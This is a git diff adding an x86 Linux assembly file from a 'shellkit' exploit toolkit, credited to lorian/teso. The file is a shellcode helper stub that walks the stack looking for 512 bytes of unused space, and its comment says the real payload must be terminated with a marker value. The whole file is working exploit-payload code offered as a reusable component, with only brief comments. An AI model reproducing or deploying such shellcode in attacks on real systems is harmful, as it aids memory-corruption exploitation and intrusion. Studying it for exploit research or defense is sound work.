1 files changed, 36 insertions, 0 deletions

diff --git a/other/shellkit/x86_linux/spset.s b/other/shellkit/x86_linux/spset.s
new file mode 100644
index 0000000..9bc19f4
--- /dev/null
+++ b/other/shellkit/x86_linux/spset.s
@@ -0,0 +1,36 @@
+/* x86 spset shellcode
+ *
+ * lorian / teso 
+ */
+        .globl  cbegin
+        .globl  _cbegin
+        .globl  cend
+        .globl  _cend
+
+/* searches for 512 bytes "free" space on stack without destroying it
+ * like any kind of call would do...
+ *
+ * NOTE: your real shellcode must be terminated with 
+ *       \x78\x56\x34\x12 for this code to work... 
+ */
+
+_cbegin:
+cbegin:
+
+        movl    $0x12345678, %eax
+a:
+        cdq
+        movb    $0x02, %dh
+b:
+        popl    %ebx
+        pushl   %ebx
+        incl    %esp
+        decl    %edx
+        jz      c
+        cmpl    %eax, %ebx
+        je      a
+        jmp     b
+c:
+
+_cend:
+cend: